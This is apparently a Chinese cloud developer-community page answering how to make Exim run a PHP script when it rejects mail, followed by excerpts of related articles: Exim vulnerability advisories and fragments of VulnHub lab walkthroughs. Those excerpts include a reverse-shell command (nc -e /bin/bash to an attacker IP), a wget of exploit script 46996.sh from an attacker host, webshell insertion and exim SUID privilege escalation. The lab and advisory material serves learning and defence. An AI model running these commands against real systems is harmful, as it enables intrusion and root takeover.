首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Exim和WHM -在拒绝邮件时运行PHP脚本

Exim和WHM是邮件服务器软件,用于管理和处理电子邮件的传输和交付。Exim是一种开源的邮件传输代理(MTA),而WHM(Web Host Manager)是一种用于管理和配置服务器的控制面板。

当Exim拒绝邮件时运行PHP脚本,可以通过配置Exim的过滤规则来实现。以下是一个完善且全面的答案:

Exim是一种开源的邮件传输代理(MTA),它负责电子邮件的传输和交付。它是一种高性能、灵活且可定制的邮件服务器软件,被广泛应用于各种规模的邮件系统中。

WHM(Web Host Manager)是一种用于管理和配置服务器的控制面板。它提供了一个直观的图形用户界面,使系统管理员能够轻松地管理服务器上的各种服务和功能,包括邮件服务器。

当Exim拒绝邮件时运行PHP脚本,可以通过配置Exim的过滤规则来实现。Exim提供了强大的过滤功能,可以根据各种条件对邮件进行筛选和处理。在拒绝邮件时,可以配置Exim调用PHP脚本来执行特定的操作,例如记录日志、发送通知或执行其他自定义逻辑。

以下是配置Exim拒绝邮件时运行PHP脚本的步骤:

  1. 编辑Exim的配置文件,通常位于/etc/exim/exim.conf或/etc/exim/exim4.conf。
  2. 在配置文件中找到或添加一个适当的ACL(Access Control List)段落,用于处理拒绝邮件的规则。
  3. 在ACL段落中,找到或添加一个条件块,用于匹配需要拒绝的邮件。条件可以基于发件人、收件人、主题等邮件属性。
  4. 在条件块中,添加一个动作,调用PHP脚本来处理拒绝的邮件。可以使用Exim的“pipe”命令来执行脚本,例如:
代码语言:txt
复制
pipe "/usr/bin/php /path/to/script.php"
  1. 保存配置文件并重新加载Exim服务,使配置生效。

通过配置Exim拒绝邮件时运行PHP脚本,可以实现对拒绝邮件的灵活处理和自定义操作。例如,可以将拒绝的邮件记录到日志文件中,或发送通知给管理员或用户。

腾讯云提供了一系列与邮件相关的产品和服务,例如腾讯企业邮、腾讯邮件推送等。这些产品可以帮助用户搭建和管理稳定可靠的邮件系统,提供高效的邮件传输和交付服务。您可以访问腾讯云官网了解更多关于这些产品的详细信息和使用指南。

腾讯企业邮:https://cloud.tencent.com/product/exmail

腾讯邮件推送:https://cloud.tencent.com/product/ses

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

【漏洞预警】Exim远程代码执行漏洞(CVE-2019-15846)预警通告

版本: 1.0 1 漏洞概述 近日,Linux的邮件传输代理Exim被曝出存在远程代码执行漏洞(CVE-2019-15846)。...当Exim服务器接受TLS连接,攻击者发送一个以“\0”结尾的SNI请求,可能导致攻击者以root权限远程执行任意代码。Exim默认配置不开启TLS功能,但很多用户都需要启用TLS来处理网络流量。...Exim是一款邮件传输代理软件,可实现邮件的路由、转发投递。...Exim运行于绝大多数的类UNIX系统上,包括Solaris、AIX、Linux等,由于其具有配置灵活的特点,通常会与其他应用软件搭配使用。...不受影响版本 Exim Version = 4.92.2 3漏洞检测 3.1 人工检测 使用命令“exim -bV”即可查看到当前exim版本,如果我们当前的版本受影响列表中,即可确定存在漏洞。

1.3K10

每周打靶 | Vulnhub-DC8靶机渗透实战

2280端口开放 端口服务探测 对相关端口服务进行细致探测 访问页面,又是熟悉的面孔 综上信息搜集可以发现,开放2280端口,服务器为Linux,web中间件为Apache,框架为Drupal...发现Content->点击edit->点击WEBFORMS->点击Form settings->点击下拉框选择PHP code 代码写入保存后,kali监听1234端口,Contact Us页面随便输入信息点击...是一款Unix系统上使用的邮件服务,exim4使用时具有root权限 使用searchsploit命令搜索exim相关漏洞 然后把46996.sh拷贝到本地并改名为666.sh,并在kali开启...可能是格式问题,然后重新上传下载 需要在主机上将脚本格式设置成符合unix格式 :set ff=unix x2nhb wget 192.168.0.103/666.sh chmod 777 666...工具存在suid权限,利用漏洞脚本直接上传运行提权,需要注意的是,提权的时候需要设置编码 set:ff=unix不然会报错

27730

WordPress 4.6远程代码执行漏洞(CVE-2016-10033)复现环境搭建指南

首先是找到网上的漏洞分析poc脚本,WordPress <4.7.1 远程代码执行漏洞(非插件无需认证,附Poc,演示视频)——具体关于漏洞的分析不多说了,这个说得很好了,主要是说环境搭建。...靶机我是一台电脑上装了ubuntu 16.04。 外加lamp环境 apache2 php7 mysql-server phpmyadmin。...注意这里会要求你输入后台管理员的邮箱,这个是后面poc中的一部分挂钩的,后面会提到 靶机安装exim4而不是sendmail sudo apt-get install exim4 上述命令用来安装exim4...SMTP 第二个选项输入:你IP对应的DNS名称(发邮件显示的@后缀) 这里我直接写的ip好像。...这三个地方改好了之后,脚本就可以运行了 (里面的一些test输出是我调的时候自己加的不用在意…) ?

2.1K70

VulnHub通关日记-DC_8-Walkthrough

这个挑战有点复杂,既是实际挑战,又是关于Linux上安装配置的两因素身份验证是否可以阻止Linux服务器被利用的“概念证明”。...由于Twitter上询问了有关双重身份验证Linux的问题,也由于@ theart42的建议,最终导致了该挑战的“概念验证”部分。...我在网站的 Webform 找到了可以编辑 PHP 的页面: ? ? ? 这个 DC-7 靶机有点类似,都是通过后台编辑 PHP 页面来获取到 webshell!...exim本地提权获取Flag 随后我使用 find 命令来查找具有 SUID 权限的文件命令发现了一个 exim4: (PS:Exim是一个MTA(Mail Transfer Agent,邮件传输代理)...按照脚本的提示运行 root.sh : ./root.sh -m netcat ? 然后 KALI 监听 4444 端口获取到一枚 root 权限的 shell: ?

1.1K20

揭露Sandworm长达数月的邮件服务器劫持

至少从2019年8月开始,Sandworm就一直利用易受攻击的Exim邮件服务器,将被黑的服务器用作目标系统上的初始感染点,并且转移到受害者网络的其他部分。...事实上,去年5月份,该漏洞已经被披露,漏洞代码为CVE-2019-10149,允许远程攻击者知道该漏洞的情况下执行他们选择的命令代码。...尽管相关补丁也已发布,但是许多运行Exim的计算机仍没有安装补丁,暴露在攻击威胁之下。 ?...目前,根据NSA的警告,攻击者可以利用该漏洞,未打补丁的Exim MTA版本中增加特权用户、禁用网络安全设置、执行额外的脚本来进一步利用网络。...此外,遭到入侵的邮件服务器还可以拦截所有传入的邮件,并且某些情况下,实现挖掘历史邮件存档。

59520

两封发票主题攻击邮件分析

0x2邮件头分析 本地邮件接收客户端是outlook,两封邮件寄送地址分别是ecomm@leviton.cominfo@orcspain.es,两封邮件outlook主页面看不到具体的收件人信息。...邮件接收服务器则是采用Dovecot, Dovecot是一个开源的 IMAP POP3 邮件服务器,支持 Linux/Unix 系统。...原先运行的“Invoice No. 013696.exe”的会自动删除,注册表下生成键值如下: ?...利用Process Monitor查看PE的运行过程,发现该PE文件在运行后,不断连续调用新进程实例运行,如下图所示: ?...AutoIt是一个使用类似BASIC脚本语言的免费软件,它设计用于Windows GUI(图形用户界面)中进行自动化操作。它利用模拟键盘按键,鼠标移动窗口/控件的组合来实现自动化任务。

1.1K20

vulnhub DC-8

sql注入,放到sqlmap上跑一下,成功得到两个用户名密码 图片.png 把密码保存为一个pass文件,用john破解得到密码 image.png 暂时不知道是哪个用户的,两个用户分别尝试登录(登录路径/...user/login),成功使用john用户登录 按照以下步骤操作 图片.png 选择php文件 图片.png 写入php代码 图片.png 尝试蚁剑连接,不过没有成功 图片.png 写入反弹shell...的代码 图片.png kali监听4444端口,contact us随便输入点提交 图片.png 成功反弹shell 图片.png 切换到交互式shell 图片.png 尝试suid提权,搜索具有suid...权限的文件 图片.png 有一个exim4非常可疑,搜索一下可能是邮件服务器 图片.png 搜索可利用的exp 图片.png 使用46996.sh这个脚本,打开本地web服务,把这个脚本放到/var/www.../html目录下,靶机使用wget下载到tmp目录 图片.png 添加权限 图片.png 执行,但是这里失败,没有提权成功 图片.png 看一下这个脚本中有没有什么执行的命令,看到有两个执行的方法 图片

14520

预警 | 知名邮件代理程序 Exim 远程代码执行漏洞(CVE-2019-10149)

近日,腾讯云安全中心监测到知名邮件代理程序 Exim 被曝存在远程代码执行漏洞  (漏洞编号:CVE-2019-10149),攻击者可利用该漏洞获取 Exim 服务器控制权。...【风险等级】 高风险 【漏洞风险】 远程代码执行 【漏洞详情】 Exim 是由剑桥大学 Philip Hazel 开发的邮件传输代理,负责邮件的路由,转发发送,它可运行在绝大多数的类Unix系统上,包括...➤为避免 Exim 服务器被入侵利用,云鼎实验室建议用户: 检查自身 Exim 版本号,查看是否受影响范围; 如 Exim 为 4.8.7之前的老版本,建议自查是否手工编译启用了 EXPERIMENTAL_EVENT...配置,如未启用,则不受影响; 如 Exim 为较新版本且受影响范围,建议及时升级更新进行防护。...id=1715237  ➤推荐阅读: 决战9小,产品上线的危机时刻 腾讯安全数盾,面向数据流生命周期的数据安全综合治理中心 等保2.0,我们划下了这些重点 紧急预警 | Windows 远程桌面服务代码执行漏洞风险预警

73530

靶机闯关 DC-8

代码修改到了Contact Us页面上,而且测试了一些要运行PHP代码是提交数据才行 使用python获取一个完全交互的shell,并且本地传输一个linux辅助提权脚本 目标shell:python.../bash')" wget http://192.168.111.128:8888/LinEnum.sh kali:python -m SimpleHTTPServer 8888 赋予权限后执行,发现exim4...使用时具有root权限,那这可能是一个突破口 (SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得...查阅版本,并且kali上搜索关于版本的漏洞 searchsploit exim 现在看下脚本的利用方式,里面介绍了有两个使用方式,并且使用vim把shell的文件格式修改成unix (如果脚本文件的格式不是...unix的话,linux上执行会报错,具体查阅https://blog.csdn.net/chenzhou123520/article/details/84410305) 修改之后把脚本文件下载到目标机器

60410

logwatch配置笔记

【说明:CentOS7上测试时候,接收到的邮件内容自动变成了附件形式,按照网上的方法http://www.shangxueba.com/jingyan/1642876.html也没解决掉】 安装配置logwatch..."         # 不监控的服务前面加-, 如 -exim, 即不监控exim 服务,可以写多条   mailer = "mailx -t"  # 我服务器上用的是mailx,所有默认的sendmail...DailyReport = No 为了发送邮件,还得安装邮件发送客户端,如下 yum install mailx vim /etc/mail.rc 最后添加个能发送邮件的账号 set from=xxxx...--splithosts:        为每个主机创建一份报告 --multiemail:     将报告发送给多个邮件地址,没有使用--splithosts参数,这个选项自动忽略 --output.../bin/bash grep -i ERROR 上面的脚本会从日志文件里过滤出包含ERROR的行。

1.1K30

【VulnHub系列】DC4(附靶机)

share/wordlists/passwords.txt --hw 17 -d "username=FUZZ&password=FUZ2Z" http://192.168.229.136/login.php...得到账号密码 admin - happy 登陆后发现,是有类似命令执行的功能的 这个时候burp抓包看看 这里我直接反弹shell用操作 nc -e+/bin/bash 192.168.229.135...里面看到有一个old-passwords.txt的备份 将这些密码复制下来并对jim进行ssh爆破,因为信息手机阶段我们可以看到靶机是打开了22端口 这里可以用nc进行文件传输 # Kali nc...Exim的版本为4.89 有一个CVE-2019-10149可以使用 searchsploit Exim searchsploit -p linux/local/46996.sh 将exp拷贝过来...,开启Python的HTTP服务,让靶机进行下载执行 然后执行脚本得到root权限 靶机下载地址:http://www.five86.com/downloads/DC-4.zip

59450

zabbix监控之邮件报警sendmail 原

zabbix监控之邮件报警 zabbix的使用中,最重要的一点就是完善的报警机制,作为监控平台,需要时刻关注机器和服务的运行状态,更重要的是发现故障之后需要及时的报警给相关人员,早点发现问题,将隐患消除未然阶段...这样才能保证服务的稳定运行。 报警的方式是多种多样的,微信、短信邮件报警是我们比较常见的方式。而且报警的频率策略直接影响着运维人员的重视程度检错效率。...邮件报警配置步骤 邮件报警的配置主要划分为一下几个步骤: 1.zabbix服务端配置邮件发送脚本修改zabbix服务端配置文件;  2.zabbix前端控制台进行相关设置; 配置脚本 (1)邮件的发送可以采用系统自带的...为了防止被拒绝,可以选择sina或者139等邮箱,审核相对宽松。甚至可以自己搭建邮件服务器。...,因为是邮件报警,所以当trigger被触发,我们给相关用户的邮箱发送邮件,这样运维人员会根据邮件的报错提示及时解决问题,当问题结局还会发送恢复邮件,这样就可以把机器及业务的运行状态及时的监控起来。

2K10

某业务付费统计脚本问题排查

可以看到该脚本已经执行过了 3.脚本中的逻辑是,每天判断今天的日志文件是否存在,如果不存在就执行一个php脚本,把该脚本的输出重定向到这个日志文件中....判断如果是周五,就调用php脚本发送一封通知邮件,邮件的内容是对每天日志文件的wc -l行数统计. 4.今天是周五但是邮件没有发出,说明根本就没有执行到发送邮件的逻辑.在前面的统计今天用户付费情况就已经断掉了.... 5.查看php.ini的配置文件,看到没有开启log_errors,也没有指定error_log的位置,所以没法通过php的日志看到发生了什么错误 6.此脚本是14年左右开始运行的,时间也比较久了....研究php代码的逻辑后发现,查询数据库的时候,先查出第一个数据库的某表信息后,循环查询另一个数据库的另一张表,在这个循环的过程中,连接数据库的逻辑放在了循环块里面,猜测可能因为连接过多,被数据库拒绝后读取失败吧...每天php脚本把用户查询出来后,重定向到比如2019-9-20-user.log,周五统计每天的日志行数发送给产品,这样就可以如果产品需要具体用户也可以留着这个结果 8.先把连接数据库逻辑挪出来,

50030

Vulnhub - DC系列

jens身份运行backup.sh 然后来到/home/jens目录下,将/bin/bash添加到脚本并执行它来切换至jens用户 echo /bin/bash > backups.sh sudo -...根据ID社工搜索一下可以找到有个GitHubTwitter 其中在他的Twitter上我们没有发现任何有用信息,而在他的GitHub上存在一个库staffdb 接着配置文件config.php中得到账密...> 登录后查看mbox文件发现有个/opt/scripts/backups.sh的脚本运行 From root@dc-7 Thu Aug 29 17:00:22 2019 Return-path:...root的身份运行并且www-data同一个组中,再来查看内容可以看到有个drush命令,它可以用于更改帐户密码 drush是drupal shell,用来管理drupal的命令列工具,用于与drupal...代码 于是接着翻一翻,Contact Us -> Form settings中发现可以插入php代码,输入php-reverse-shell并保存 然后填写好信息后点击Submit即可反弹shell

82920

WatchBog新型变种分析

概述 近日发现新版本的WatchBog:自2018年底开始运行的加密货币挖掘僵尸网络。自6月初开始已有超过4,500台Linux机器遭到破坏。...我们检测到一个新版本watchbog,其中包含了最近发布的漏洞:JIRA的CVE-2019-11581(漏洞发布后12天内增加)、exim的CVE-2019-10149solr的CVE-2019-0192...技术分析 watchbog感染目标时运行初始部署脚本。该脚本通过crontab持久控制,并从Pastebin下载更多的Monero Miner模块。 该脚本末尾的部分如下: ?...初始化 二进制文件会在/tmp/.gooobb处创建文件,该文件中,它将其pid作为恶意软件执行的日志写入。当此文件存在,后续启动传播模块都会失败。...这导致WatchBog客户端使用HTTPS没有验证证书,否则它将拒绝与C2通信。

1.1K20

星球优秀成员作品 | 『VulnHub系列』symfonos: 3-Walkthrough

访问http://192.168.0.110/cgi-bin/underworld/login.php ? 下图是我kali里面执行uptime命令的结果,是不是跟上图中的格式一模一样。...至于为什么可以反弹桑shell,这里借用嘶吼上的一篇文章的解释(就是上面我看的那一篇): 运行CGI脚本,会将特定信息复制到环境变量中。...手工信息收集无果,那我们就上脚本。执行linuxprivchecker.py脚本后,对得到的结果进行查看,发现了以下信息: 安装的软件exim4 4.89-2 正在运行的进程proftpd ?...使用searchsploit搜索exim 4.89,只发现一个DoS攻击的exploit;正在运行的进程是proftpd,也许可以嗅探一下。...从上图中可以看出ftpclient.py脚本正在运行,且UID=0,也就是说是脚本是以root权限运行,记住这里后面会用到。尝试访问ftpclient文件夹,发现权限不足。

1.3K20

cPanel面板宝塔面板区别

cPanel是一套基于Web的自动化hosting管理软件,构建于LAMP环境之上,主要应用于PHP语言。...cPanelWHM是一整套软件包,安装于干净的Linux环境下,cPanel负责整个网络服务环境的构建。...cPanel虚拟主机管理系统其实包括cPanel用户界面WHM服务器管理界面,而虚拟主机客户接触到的是cPanel用户界面,也就是我们操作的cPanel控制面板。...cPanel的图形化界面功能强大,用户WHM中可以完全服务器的大部分配置如编译 Apache、创建/删除主机账户、指定用户可以使用的功能、设置服务器的安全级别、管理MySQL数据库、重启各种服务等,这极大的方便了对...其次,对系统的要求较高,一般要求至少512M以上内存、100M硬盘空间,否则运行起来非常卡,同时还必须要求是纯净的Centos系统等。

3.5K30
领券